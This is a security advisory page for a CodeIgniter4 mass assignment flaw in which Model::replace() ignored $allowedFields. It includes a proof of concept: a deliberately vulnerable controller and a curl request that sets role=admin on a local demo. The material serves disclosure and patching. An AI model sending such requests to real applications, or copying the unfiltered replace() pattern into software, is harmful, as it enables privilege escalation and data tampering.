Vulnerability DatabaseGHSA-jv74-fx4h-m63x

GHSA-jv74-fx4h-m63x: 
PHP vulnerability analysis and mitigation

Summary

Model::replace() did not apply the model's field protection ($allowedFields). insert() and update() remove fields that are not listed in $allowedFields, but replace() passes every supplied field to the Query Builder. An application that passes user-controlled input to replace() lets an attacker write columns the model is meant to protect, such as role, is_admin, status or balance.

Details

BaseModel::replace() validated the data and added timestamps, but never called the field-protection logic that insert() and update() use:

$row = (array) $row;
$row = $this->setCreatedField($row, $this->setDate());
$row = $this->setUpdatedField($row, $this->setDate());
return $this->doReplace($row, $returnSQL);

Model::doReplace() then passed the unfiltered row straight to BaseBuilder::replace(). Because of this, $allowedFields and $protectFields did not affect replace(). The fix adds a doProtectFieldsForReplace() step, so replace() now does the following:

  • When field protection is enabled, it filters input against $allowedFields.
  • It keeps a supplied primary key, because REPLACE needs it to identify the record.
  • It throws DataException::forEmptyDataset('replace') when filtering empties a non-empty input or leaves only the primary key. This check runs before timestamps are generated, so it never writes a timestamps-only row.

Proof of concept

Table (MySQL):

CREATE TABLE users (
    id    INT AUTO_INCREMENT PRIMARY KEY,
    name  VARCHAR(100) NOT NULL,
    email VARCHAR(100) NOT NULL,
    role  VARCHAR(20)  NOT NULL DEFAULT 'user'
);
INSERT INTO users (id, name, email, role) VALUES (1, 'Alice', 'alice@example.com', 'user');

Model:

namespace App\Models;
use CodeIgniter\Model;
class UserModel extends Model
{
    protected $table         = 'users';
    protected $allowedFields = ['name', 'email']; // "role" is intentionally not allowed
}

Controller:

namespace App\Controllers;
use App\Models\UserModel;
class Profile extends BaseController
{
    public function save()
    {
        $model = model(UserModel::class);
        // Untrusted request data passed directly to replace(),
        // relying on $allowedFields for protection.
        $model->replace($this->request->getPost());
        return $this->response->setJSON(
            $model->find($this->request->getPost('id')),
        );
    }
}

Routes:

// app/Config/Routes.php
$routes->post('profile/save', 'Profile::save');

Request:

curl -X POST http://localhost:8080/profile/save \
  -d 'id=1' \
  -d 'name=Alice' \
  -d 'email=alice@example.com' \
  -d 'role=admin'

Result on affected versions: the generated query includes the role column, and the row is stored with role = 'admin', even though role is not in $allowedFields. The same request sent through insert() or update() drops the role.

Impact

This is a mass assignment vulnerability (CWE-915). It affects applications that pass untrusted input, such as request data, to Model::replace() while relying on $allowedFields to restrict which columns can be written. An attacker can set any column in the table. Depending on the schema, that can mean privilege escalation (role, is_admin), tampering with business data (status, balance), or overwriting audit fields (created_at). Applications that never call replace() with untrusted input, or that turn protection off on purpose with protect(false), are not affected.


Source: NVD

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-25rf-99hr-7pmrHIGH8.1
  • PHP logoPHP
  • codeigniter4/framework
NoYesNov 01, 2026
GHSA-jv74-fx4h-m63xMEDIUM6.5
  • PHP logoPHP
  • codeigniter4/framework
NoYesNov 01, 2026
GHSA-9hf2-g3w9-pfmpMEDIUM6.5
  • PHP logoPHP
  • codeigniter4/framework
NoYesNov 01, 2026
GHSA-9j59-qcxw-q7qmMEDIUM4.8
  • PHP logoPHP
  • codeigniter4/framework
NoYesNov 01, 2026
GHSA-rqmg-p367-f63rMEDIUM4.3
  • PHP logoPHP
  • power-components/turbine
NoYesOct 31, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management